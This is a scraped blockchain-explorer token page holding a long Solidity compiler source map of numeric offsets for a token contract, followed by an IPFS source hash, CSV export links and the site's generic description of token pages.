19:0;;5449:4;5474:19;;;:11;:19;;;;;;;;5494:10;5474:31;;;;;;;;:41;-1:-1:-1;5474:41:0;5466:94;;;;-1:-1:-1;;;5466:94:0;;4662:2:1;5466:94:0;;;4644:21:1;4701:2;4681:18;;;4674:30;4740:34;4720:18;;;4713:62;-1:-1:-1;;;4791:18:1;;;4784:38;4839:19;;5466:94:0;4460:404:1;5466:94:0;5571:36;5581:6;5589:9;5600:6;5571:9;:36::i;:::-;-1:-1:-1;;;;;5618:19:0;;;;;;:11;:19;;;;;;;;5638:10;5618:31;;;;;;;:41;;5653:6;;5618:19;:41;;5653:6;;5618:41;:::i;:::-;;;;-1:-1:-1;5677:4:0;;5360:329;-1:-1:-1;;;;;5360:329:0:o;6430:195::-;4036:10;4032:15;;;;:3;:15;;;;;;;;4024:51;;;;-1:-1:-1;;;4024:51:0;;5336:2:1;4024:51:0;;;5318:21:1;5375:2;5355:18;;;5348:30;5414:25;5394:18;;;5387:53;5457:18;;4024:51:0;5134:347:1;4024:51:0;6501:1:::1;6493:5;:9;6485:35;;;::::0;-1:-1:-1;;;6485:35:0;;5688:2:1;6485:35:0::1;::::0;::::1;5670:21:1::0;5727:2;5707:18;;;5700:30;-1:-1:-1;;;5746:18:1;;;5739:44;5800:18;;6485:35:0::1;5486:338:1::0;6485:35:0::1;6542:10;6533:20;::::0;;;:8:::1;:20;::::0;;;;:29;;6557:5;;6533:20;:29:::1;::::0;6557:5;;6533:29:::1;:::i;:::-;::::0;;;-1:-1:-1;;6578:39:0::1;::::0;1638:25:1;;;6607:1:0::1;::::0;6587:10:::1;::::0;6578:39:::1;::::0;1626:2:1;1611:18;6578:39:0::1;;;;;;;6430:195:::0;:::o;3437:148::-;3350:6;;-1:-1:-1;;;;;3350:6:0;301:10;3350:22;3342:67;;;;-1:-1:-1;;;3342:67:0;;;;;;;:::i;:::-;3544:1:::1;3528:6:::0;;3507:40:::1;::::0;-1:-1:-1;;;;;3528:6:0;;::::1;::::0;3507:40:::1;::::0;3544:1;;3507:40:::1;3575:1;3558:19:::0;;-1:-1:-1;;;;;;3558:19:0::1;::::0;;3437:148::o;6265:157::-;3350:6;;-1:-1:-1;;;;;3350:6:0;301:10;3350:22;3342:67;;;;-1:-1:-1;;;3342:67:0;;;;;;;:::i;:::-;6339:6:::1;6334:81;6351:13:::0;;::::1;6334:81;;;6399:4;6386:3;:10;6390:2;;6393:1;6390:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6386:10:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;6386:10:0;:17;;-1:-1:-1;;6386:17:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;6366:3:0::1;6334:81;;;;6265:157:::0;;:::o;3679:30::-;;;;;;;:::i;4533:156::-;4602:4;4619:40;4629:10;4641:9;4652:6;4619:9;:40::i;6640:1186::-;3350:6;;-1:-1:-1;;;;;3350:6:0;301:10;3350:22;3342:67;;;;-1:-1:-1;;;3342:67:0;;;;;;;:::i;:::-;6730:11:::1;::::0;::::1;;6729:12;6721:47;;;::::0;-1:-1:-1;;;6721:47:0;;6654:2:1;6721:47:0::1;::::0;::::1;6636:21:1::0;6693:2;6673:18;;;6666:30;6732:25;6712:18;;;6705:53;6775:18;;6721:47:0::1;6452:347:1::0;6721:47:0::1;6799:1;6787:9;:13;6779:59;;;::::0;-1:-1:-1;;;6779:59:0;;7006:2:1;6779:59:0::1;::::0;::::1;6988:21:1::0;7045:2;7025:18;;;7018:30;7084:34;7064:18;;;7057:62;-1:-1:-1;;;7135:18:1;;;7128:31;7176:19;;6779:59:0::1;6804:397:1::0;6779:59:0::1;6870:1;6857:10;:14;:35;;;;;6889:3;6875:10;:17;;6857:35;6849:84;;;::::0;-1:-1:-1;;;6849:84:0;;7408:2:1;6849:84:0::1;::::0;::::1;7390:21:1::0;7447:2;7427:18;;;7420:30;7486:34;7466:18;;;7459:62;-1:-1:-1;;;7537:18:1;;;7530:34;7581:19;;6849:84:0::1;7206:400:1::0;6849:84:0::1;6946:13;:76:::0;;-1:-1:-1;;;;;;6946:76:0::1;6979:42;6946:76;::::0;;:13:::1;7088:3;7074:10:::0;7052:21:::1;7062:10;-1:-1:-1::0;;;;;4500:17:0;4473:7;4500:17;;;:8;:17;;;;;;;4416:109;7052:21:::1;:32;;;;:::i;:::-;7051:40;;;;:::i;:::-;7035:56:::0;-1:-1:-1;7102:59:0::1;301:10:::0;7133:13:::1;::::0;7149:11:::1;::::0;-1:-1:-1;;;;;7133:13:0;;::::1;::::0;7102:8:::1;:59::i;:::-;7172:45;301:10:::0;7204:4:::1;7211:5;7172:9;:45::i;:::-;7262:13;::::0;7278:11:::1;::::0;7230:60:::1;::::0;7247:4:::1;::::0;-1:-1:-1;;;;;7262:13:0;;::::1;::::0;7230:8:::1;:60::i;:::-;7341:4;7301:19;4500:17:::0;;;:8;:17;;;;;;;;;;7387:13:::1;::::0;:23;;-1:-1:-1;;;7387:23:0;;;;4500:17;;-1:-1:-1;;;;;7387:13:0;;::::1;::::0;:21:::1;::::0;:23:::1;::::0;;::::1;::::0;;;;;;:13;:23:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7372:50:0::1;;7441:4;7457:13;;;;;;;;;-1:-1:-1::0;;;;;7457:13:0::1;-1:-1:-1::0;;;;;7457:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7372:116;::::0;-1:-1:-1;;;;;;7372:116:0::1;::::0;;;;;;-1:-1:-1;;;;;8454:32:1;;;7372:116:0::1;::::0;::::1;8436:51:1::0;8523:32;;8503:18;;;8496:60;8409:18;;7372:116:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7358:11;:130:::0;;-1:-1:-1;;;;;7358:130:0;;::::1;-1:-1:-1::0;;;;;;7358:130:0;;::::1;;::::0;;7499:13:::1;::::0;::::1;:29;7536:9;7565:4;7581:11:::0;7358::::1;::::0;7627:7:::1;3261::::0;3288:6;-1:-1:-1;;;;;3288:6:0;;3223:79;7627:7:::1;7499:172;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7499:172:0;;;-1:-1:-1;;;;;8888:32:1;;;7499:172:0::1;::::0;::::1;8870:51:1::0;8937:18;;;8930:34;;;;8980:18;;;8973:34;;;;9023:18;;;9016:34;9087:32;;;9066:19;;;9059:61;7645:15:0::1;9136:19:1::0;;;9129:35;8842:19;;7499:172:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7695:11:0::1;::::0;7734:13:::1;::::0;7688:99:::1;::::0;-1:-1:-1;;;7688:99:0;;-1:-1:-1;;;;;7734:13:0;;::::1;7688:99;::::0;::::1;9810:51:1::0;-1:-1:-1;;9877:18:1;;;9870:34;7695:11:0;::::1;::::0;-1:-1:-1;7688:27:0::1;::::0;9783:18:1;;7688:99:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7800:11:0::1;:18:::0;;-1:-1:-1;;7800:18:0::1;7814:4;7800:18;::::0;;-1:-1:-1;;6640:1186:0:o;4866:335::-;-1:-1:-1;;;;;4959:19:0;;4951:68;;;;-1:-1:-1;;;4951:68:0;;10399:2:1;4951:68:0;;;10381:21:1;10438:2;10418:18;;;10411:30;10477:34;10457:18;;;10450:62;-1:-1:-1;;;10528:18:1;;;10521:34;10572:19;;4951:68:0;10197:400:1;4951:68:0;-1:-1:-1;;;;;5038:21:0;;5030:68;;;;-1:-1:-1;;;5030:68:0;;10804:2:1;5030:68:0;;;10786:21:1;10843:2;10823:18;;;10816:30;10882:34;10862:18;;;10855:62;-1:-1:-1;;;10933:18:1;;;10926:32;10975:19;;5030:68:0;10602:398:1;5030:68:0;-1:-1:-1;;;;;5109:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5161:32;;1638:25:1;;;5161:32:0;;1611:18:1;5161:32:0;;;;;;;;4866:335;;;:::o;5697:470::-;-1:-1:-1;;;;;5795:20:0;;5787:70;;;;-1:-1:-1;;;5787:70:0;;11207:2:1;5787:70:0;;;11189:21:1;11246:2;11226:18;;;11219:30;11285:34;11265:18;;;11258:62;-1:-1:-1;;;11336:18:1;;;11329:35;11381:19;;5787:70:0;11005:401:1;5787:70:0;-1:-1:-1;;;;;5876:23:0;;5868:71;;;;-1:-1:-1;;;5868:71:0;;11613:2:1;5868:71:0;;;11595:21:1;11652:2;11632:18;;;11625:30;11691:34;11671:18;;;11664:62;-1:-1:-1;;;11742:18:1;;;11735:33;11785:19;;5868:71:0;11411:399:1;5868:71:0;-1:-1:-1;;;;;5958:16:0;;;;;;:8;:16;;;;;;:26;-1:-1:-1;5958:26:0;5950:77;;;;-1:-1:-1;;;5950:77:0;;12017:2:1;5950:77:0;;;11999:21:1;12056:2;12036:18;;;12029:30;12095:34;12075:18;;;12068:62;-1:-1:-1;;;12146:18:1;;;12139:36;12192:19;;5950:77:0;11815:402:1;5950:77:0;-1:-1:-1;;;;;6040:16:0;;;;;;:8;:16;;;;;:26;;6060:6;;6040:16;:26;;6060:6;;6040:26;:::i;:::-;;;;-1:-1:-1;;;;;;;6077:19:0;;;;;;:8;:19;;;;;:29;;6100:6;;6077:19;:29;;6100:6;;6077:29;:::i;:::-;;;;;;;;6141:9;-1:-1:-1;;;;;6124:35:0;6133:6;-1:-1:-1;;;;;6124:35:0;;6152:6;6124:35;;;;1638:25:1;;1626:2;1611:18;;1492:177;369:418;518:2;507:9;500:21;481:4;550:6;544:13;593:6;588:2;577:9;573:18;566:34;652:6;647:2;639:6;635:15;630:2;619:9;615:18;609:50;708:1;703:2;694:6;683:9;679:22;675:31;668:42;778:2;771;767:7;762:2;754:6;750:15;746:29;735:9;731:45;727:54;719:62;;;369:418;;;;:::o;792:131::-;-1:-1:-1;;;;;867:31:1;;857:42;;847:70;;913:1;910;903:12;847:70;792:131;:::o;928:367::-;996:6;1004;1057:2;1045:9;1036:7;1032:23;1028:32;1025:52;;;1073:1;1070;1063:12;1025:52;1112:9;1099:23;1131:31;1156:5;1131:31;:::i;:::-;1181:5;1259:2;1244:18;;;;1231:32;;-1:-1:-1;;;928:367:1:o;1674:508::-;1751:6;1759;1767;1820:2;1808:9;1799:7;1795:23;1791:32;1788:52;;;1836:1;1833;1826:12;1788:52;1875:9;1862:23;1894:31;1919:5;1894:31;:::i;:::-;1944:5;-1:-1:-1;2001:2:1;1986:18;;1973:32;2014:33;1973:32;2014:33;:::i;:::-;1674:508;;2066:7;;-1:-1:-1;;;2146:2:1;2131:18;;;;2118:32;;1674:508::o;2376:226::-;2435:6;2488:2;2476:9;2467:7;2463:23;2459:32;2456:52;;;2504:1;2501;2494:12;2456:52;-1:-1:-1;2549:23:1;;2376:226;-1:-1:-1;2376:226:1:o;2607:247::-;2666:6;2719:2;2707:9;2698:7;2694:23;2690:32;2687:52;;;2735:1;2732;2725:12;2687:52;2774:9;2761:23;2793:31;2818:5;2793:31;:::i;:::-;2843:5;2607:247;-1:-1:-1;;;2607:247:1:o;2859:610::-;2945:6;2953;3006:2;2994:9;2985:7;2981:23;2977:32;2974:52;;;3022:1;3019;3012:12;2974:52;3062:9;3049:23;3095:18;3087:6;3084:30;3081:50;;;3127:1;3124;3117:12;3081:50;3150:22;;3203:4;3195:13;;3191:27;-1:-1:-1;3181:55:1;;3232:1;3229;3222:12;3181:55;3272:2;3259:16;3298:18;3290:6;3287:30;3284:50;;;3330:1;3327;3320:12;3284:50;3383:7;3378:2;3368:6;3365:1;3361:14;3357:2;3353:23;3349:32;3346:45;3343:65;;;3404:1;3401;3394:12;3343:65;3435:2;3427:11;;;;;3457:6;;-1:-1:-1;2859:610:1;-1:-1:-1;;;2859:610:1:o;3682:388::-;3750:6;3758;3811:2;3799:9;3790:7;3786:23;3782:32;3779:52;;;3827:1;3824;3817:12;3779:52;3866:9;3853:23;3885:31;3910:5;3885:31;:::i;:::-;3935:5;-1:-1:-1;3992:2:1;3977:18;;3964:32;4005:33;3964:32;4005:33;:::i;:::-;4057:7;4047:17;;;3682:388;;;;;:::o;4075:380::-;4154:1;4150:12;;;;4197;;;4218:61;;4272:4;4264:6;4260:17;4250:27;;4218:61;4325:2;4317:6;4314:14;4294:18;4291:38;4288:161;;4371:10;4366:3;4362:20;4359:1;4352:31;4406:4;4403:1;4396:15;4434:4;4431:1;4424:15;4288:161;;4075:380;;;:::o;4869:127::-;4930:10;4925:3;4921:20;4918:1;4911:31;4961:4;4958:1;4951:15;4985:4;4982:1;4975:15;5001:128;5068:9;;;5089:11;;;5086:37;;;5103:18;;:::i;5829:125::-;5894:9;;;5915:10;;;5912:36;;;5928:18;;:::i;5959:356::-;6161:2;6143:21;;;6180:18;;;6173:30;6239:34;6234:2;6219:18;;6212:62;6306:2;6291:18;;5959:356::o;6320:127::-;6381:10;6376:3;6372:20;6369:1;6362:31;6412:4;6409:1;6402:15;6436:4;6433:1;6426:15;7611:168;7684:9;;;7715;;7732:15;;;7726:22;;7712:37;7702:71;;7753:18;;:::i;7784:217::-;7824:1;7850;7840:132;;7894:10;7889:3;7885:20;7882:1;7875:31;7929:4;7926:1;7919:15;7957:4;7954:1;7947:15;7840:132;-1:-1:-1;7986:9:1;;7784:217::o;8006:251::-;8076:6;8129:2;8117:9;8108:7;8104:23;8100:32;8097:52;;;8145:1;8142;8135:12;8097:52;8177:9;8171:16;8196:31;8221:5;8196:31;:::i;9175:456::-;9263:6;9271;9279;9332:2;9320:9;9311:7;9307:23;9303:32;9300:52;;;9348:1;9345;9338:12;9300:52;-1:-1:-1;;9393:16:1;;9499:2;9484:18;;9478:25;9595:2;9580:18;;;9574:25;9393:16;;9478:25;;-1:-1:-1;9574:25:1;9175:456;-1:-1:-1;9175:456:1:o;9915:277::-;9982:6;10035:2;10023:9;10014:7;10010:23;10006:32;10003:52;;;10051:1;10048;10041:12;10003:52;10083:9;10077:16;10136:5;10129:13;10122:21;10115:5;10112:32;10102:60;;10158:1;10155;10148:12

Swarm Source

ipfs://6d243412a20dce6c7685c527b30a743c0e55e9bdab6c7b26bfd6c85dea8f0a8e
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.